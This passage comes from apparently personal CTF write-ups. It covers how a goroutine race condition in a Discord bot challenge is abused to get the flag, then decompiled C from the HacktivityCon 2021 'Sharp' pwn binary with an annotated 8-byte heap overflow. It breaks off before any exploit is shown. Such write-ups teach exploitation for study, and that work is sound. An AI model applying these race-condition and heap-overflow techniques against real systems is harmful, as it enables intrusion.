</span><span class="n">Username</span><span class="x"> </span><span class="kt">string</span><span class="x">
</span><span class="n">Score</span><span class="x"> </span><span class="kt">int</span><span class="x">
</span><span class="p">}</span><span class="x">
</span></code></pre></div></div>
<p>La idea es sencilla, un bot de <code class="highlighter-rouge">discord</code> el cual te da puntos por decirle <code class="highlighter-rouge">-powerup</code>, y si se llega a los <code class="highlighter-rouge">20 puntos</code>, te da la flag.</p>
<p>Lamentablemente, cada vez que llegamos a <code class="highlighter-rouge">>= 10</code> puntos, el bot nos devuelve a 1 inmediatamente.</p>
<p>Analizando bien la lógica del bot, se ve que al realizar un <code class="highlighter-rouge">do_super_powerup()</code>, el bot nos da <code class="highlighter-rouge">10 puntos</code>, pero inmediatamente nos los quita (<code class="highlighter-rouge">p.gonna_win()</code>), además de echarnos del discord (lo siento por esto :D).</p>
<p>Finalmente, la solución era abusar de la <code class="highlighter-rouge">go routine</code> creada en <code class="highlighter-rouge">do_super_powerup()</code> <code class="highlighter-rouge">(race condition)</code>, por lo que finalmente, la solución es:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">...</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">do_super_powerup</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">gonna_win</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"`%s`, No hay flag para ti hoy :D, bye bye !"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="k">func</span><span class="p">()</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">time</span><span class="o">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">time</span><span class="o">.</span><span class="n">Second</span><span class="p">)</span><span class="x"> </span><span class="c">// [1]</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="s">"Te daré 10 puntos antes de expulsarte, por penita :3"</span><span class="p">)</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">addN</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Username</span><span class="x"> </span><span class="o">+</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Discriminator</span><span class="p">,</span><span class="x"> </span><span class="m">10</span><span class="p">)</span><span class="x"> </span><span class="c">// [2]</span><span class="x">
</span><span class="n">time</span><span class="o">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">time</span><span class="o">.</span><span class="n">Second</span><span class="p">)</span><span class="x"> </span><span class="c">// [3]</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">gonna_win</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">s</span><span class="o">.</span><span class="n">GuildMemberDelete</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">GuildID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Guild id: %s</span><span class="se">\n</span><span class="s">Author id: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">GuildID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="c">//err := s.GuildMemberDeleteWithReason(m.GuildID, m.Author.ID, "U hacker fool!")</span><span class="x">
</span><span class="o">...</span><span class="x">
</span></code></pre></div></div>
<ul>
<li>Llegar a 9 puntos con <code class="highlighter-rouge">-powerup</code></li>
<li>Lanzar un <code class="highlighter-rouge">-superpowerup</code> y timear para que nuestra query llege hasta <code class="highlighter-rouge">[1]</code></li>
<li>Como ya habremos pasado el primer filtro de <code class="highlighter-rouge">gonna_win()</code>, inmediatamente podemos llamar a <code class="highlighter-rouge">-powerup</code>, para tener <code class="highlighter-rouge">10 puntos</code> mientras la <code class="highlighter-rouge">go routine</code> duerme en <code class="highlighter-rouge">[1]</code>.</li>
<li>Al despertar la <code class="highlighter-rouge">go routine</code> en <code class="highlighter-rouge">[1]</code>, nos agregará <code class="highlighter-rouge">10</code> puntos a nuestro puntaje <code class="highlighter-rouge">[2]</code>, por lo que obtendremos <code class="highlighter-rouge">20 pts</code>, además de dormirse nuevamente en <code class="highlighter-rouge">[3]</code></li>
<li>En este segundo <code class="highlighter-rouge">sleep()</code>, podemos llamar a <code class="highlighter-rouge">-flag</code> <code class="highlighter-rouge">get_flag()</code>, para obtener la flag respectiva :D</li>
</ul>
<p><img src="assets/2021_11_08_01_13_50.png" alt="" /></p>
<p>Espero que les haya gustado el <code class="highlighter-rouge">CTF</code> y los retos, fue hecho con mucho cariño, cualquier consulta, al PM :D, saludos !</p>
<center>kjj</center>f4d3Hola, espero que todo les vaya genial!!!hacktivitycon2k21{pwn}2021-09-18T23:45:00-03:002021-09-18T23:45:00-03:00https://f4d3.io/hacktivitycon-pwn<h1 id="summary">Summary</h1>
<p>Hi !<br />
Hope that everything’s doing good for everyone!<br />
This weekend, with a couple of teammates, participated on the <code class="highlighter-rouge">hacktivitycon 2021</code>, organized by hackerone, pretty cool CTF, thanks to the organizers !</p>
<p>This was a <code class="highlighter-rouge">chill CTF</code> for us, so I spend many hours on a couple of <code class="highlighter-rouge">pwnable</code> challenges, so here’s the write up for them. Special thanks for <a href="https://dplastico.github.io/">dplastico</a>, for the <strong>apañe</strong> ❤️</p>
<p><a href="#summary">Summary</a><br />
<a href="#sharp">Sharp</a><br />
<a href="#summary-1">Summary</a><br />
<a href="#leak">Leak</a><br />
<a href="#exploit">Exploit</a><br />
<a href="#shellcoded">shellcoded</a><br />
<a href="#shelle-2">Shelle-2</a></p>
<h1 id="sharp">Sharp</h1>
<p>This was a kind of (not again) a note challenge.<br />
Thanks to the author for not doing a <code class="highlighter-rouge">note chall</code>, lol :D <br />
The main purpose of this binary is to create a <code class="highlighter-rouge">very bad</code> database written in C, allocating “names” for the entry of the db.<br />
This Consist on one <code class="highlighter-rouge">initial chunk</code>, that will have a <code class="highlighter-rouge">integer</code> with the amount of entries, and an <code class="highlighter-rouge">array of pointers to strings</code> for the entries names.<br />
The only main thing that was strange, was the use of the <code class="highlighter-rouge">libc 2.31</code>, at least, not <code class="highlighter-rouge">safe linking</code> yet.</p>
<p><a href="assets/sharp">binary</a><br />
<a href="assets/libc-2.31.so">libc.so.6</a></p>
<h2 id="summary-1">Summary</h2>
<p>The principal use of this binary, is to serve as a <code class="highlighter-rouge">database written in C</code>, so, the main menu is it as follows:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@bf49a002b60c:/ctf/work/pwn/sharp# ./sharp
Terrible C Database v0.1a
1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.
<span class="o">></span> 1
Enter username: dead
User added.
1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.
<span class="o">></span> 5
Entry: 0, user: dead
1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.
<span class="o">></span>
</code></pre></div></div>
<p>The respective reversing and the dissasembly of the respectives functions are as follows:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">database</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">amount</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">**</span> <span class="n">names</span><span class="p">;</span> <span class="c1">// This just are the entries of the db, lol</span>
<span class="p">};</span>
<span class="kt">void</span> <span class="n">remove_user</span><span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="n">users</span><span class="p">){</span>
<span class="n">uint</span> <span class="n">idx</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">i</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">k</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span> <span class="p">[</span><span class="mi">24</span><span class="p">];</span>
<span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Enter entry of user to remove: "</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="n">uint</span><span class="p">)</span><span class="n">users</span><span class="o">-></span><span class="n">amount</span> <span class="o"><=</span> <span class="n">idx</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid entry.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">LAB_004018fa</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">free</span><span class="p">(</span><span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
<span class="cm">/* Null the pointer after free, no bug */</span>
<span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="cm">/* The id's goes backwards on the following lines, this will become handy after.*/</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">users</span><span class="o">-></span><span class="n">amount</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_004018b7</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">goto</span> <span class="n">LAB_004018dd</span><span class="p">;</span>
<span class="n">LAB_004018b7</span><span class="o">:</span>
<span class="k">while</span> <span class="p">(</span><span class="n">k</span> <span class="o">=</span> <span class="n">k</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">k</span> <span class="o"><</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">users</span><span class="o">-></span><span class="n">amount</span><span class="p">)</span> <span class="p">{</span>
<span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">k</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">k</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">LAB_004018dd</span><span class="o">:</span>
<span class="n">users</span><span class="o">-></span><span class="n">amount</span> <span class="o">=</span> <span class="n">users</span><span class="o">-></span><span class="n">amount</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Removed user.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">LAB_004018fa</span><span class="o">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">swap_users</span><span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="n">param_1</span><span class="p">){</span>
<span class="n">uint</span> <span class="n">_idx_1</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">_idx_2</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">idx_1</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">ref_1</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="n">uint</span><span class="p">)</span><span class="n">param_1</span><span class="o">-></span><span class="n">amount</span> <span class="o"><</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Not enough users to swap.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Enter entry of user to swap: "</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">idx_1</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">_idx_1</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">idx_1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">_idx_1</span> <span class="o"><</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">param_1</span><span class="o">-></span><span class="n">amount</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ref_1</span> <span class="o">=</span> <span class="n">param_1</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">_idx_1</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Enter entry of user to swap with: "</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">idx_1</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">_idx_2</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">idx_1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="n">_idx_2</span> <span class="o"><</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">param_1</span><span class="o">-></span><span class="n">amount</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">_idx_1</span> <span class="o">!=</span> <span class="n">_idx_2</span><span class="p">))</span> <span class="p">{</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">_idx_1</span><span class="p">]</span> <span class="o">=</span> <span class="n">param_1</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">_idx_2</span><span class="p">];</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">_idx_2</span><span class="p">]</span> <span class="o">=</span> <span class="n">ref_1</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Swapped users.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid entry.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid entry.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">print_database</span><span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="n">chunk</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">i</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(((</span><span class="n">chunk</span> <span class="o">==</span> <span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">chunk</span><span class="o">-></span><span class="n">names</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)</span><span class="mh">0x0</span><span class="p">))</span> <span class="o">||</span> <span class="p">(</span><span class="n">chunk</span><span class="o">-></span><span class="n">amount</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"No users in database.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">chunk</span><span class="o">-></span><span class="n">amount</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">chunk</span><span class="o">-></span><span class="n">names</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Entry: %d, user: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">i</span><span class="p">,</span><span class="n">chunk</span><span class="o">-></span><span class="n">names</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">chunk</span><span class="o">-></span><span class="n">amount</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">edit_user</span><span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="n">users</span><span class="p">){</span>
<span class="n">uint</span> <span class="n">idx</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">end</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span> <span class="p">[</span><span class="mi">24</span><span class="p">];</span>
<span class="kt">long</span> <span class="n">local_20</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">chunk_size</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">u_name</span><span class="p">;</span>
<span class="n">local_20</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Enter entry of user to edit: "</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="cm">/* There's a heap based overflow here, since the size of the chunk used to calculate the amount of data incoming is the `chunk size`, which includes the headers of the chunk, which means, that we will get a 8 bytes heap overflow. */</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o"><</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">users</span><span class="o">-></span><span class="n">amount</span><span class="p">)</span> <span class="p">{</span>
<span class="n">chunk_size</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)(</span><span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">+</span> <span class="o">-</span><span class="mi">8</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">[*] Username must be less than %lu characters long.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Enter new username: "</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">idx</span><span class="p">],(</span><span class="n">uint</span><span class="p">)</span><span class="n">chunk_size</span> <span class="o">&</span> <span class="mh">0xfffffffc</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">u_name</span> <span class="o">=</span> <span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
<span class="n">end</span> <span class="o">=</span> <span class="n">strcspn</span><span class="p">(</span><span class="n">users</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">idx</span><span class="p">],</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">u_name</span><span class="p">[</span><span class="n">end</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"User changed.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid entry.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_20</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">add_user</span><span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="n">db</span><span class="p">){</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">tmp_obj</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">location</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">local_20</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">number</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">u_added</span><span class="p">;</span>
<span class="n">local_20</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">db</span> <span class="o">==</span> <span class="p">(</span><span class="n">database</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Database not initialized.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">number</span> <span class="o">=</span> <span class="n">db</span><span class="o">-></span><span class="n">amount</span><span class="p">;</span>
<span class="n">db</span><span class="o">-></span><span class="n">amount</span> <span class="o">=</span> <span class="n">number</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">tmp_obj</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)</span><span class="n">realloc</span><span class="p">(</span><span class="n">db</span><span class="o">-></span><span class="n">names</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)(</span><span class="n">uint</span><span class="p">)</span><span class="n">db</span><span class="o">-></span><span class="n">amount</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">db</span><span class="o">-></span><span class="n">names</span> <span class="o">=</span> <span class="n">tmp_obj</span><span class="p">;</span>
<span class="n">db</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">number</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Enter username: "</span><span class="p">);</span>
<span class="cm">/* Safe malloc() with getline, no bug here */</span>
<span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">getline</span><span class="p">(</span><span class="n">db</span><span class="o">-></span><span class="n">names</span> <span class="o">+</span> <span class="n">number</span><span class="p">,</span><span class="o">&</span><span class="n">size</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">u_added</span> <span class="o">=</span> <span class="n">db</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">number</span><span class="p">];</span>
<span class="n">location</span> <span class="o">=</span> <span class="n">strcspn</span><span class="p">(</span><span class="n">db</span><span class="o">-></span><span class="n">names</span><span class="p">[</span><span class="n">number</span><span class="p">],</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">u_added</span><span class="p">[</span><span class="n">location</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"User added.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_20</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">main</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">opt</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
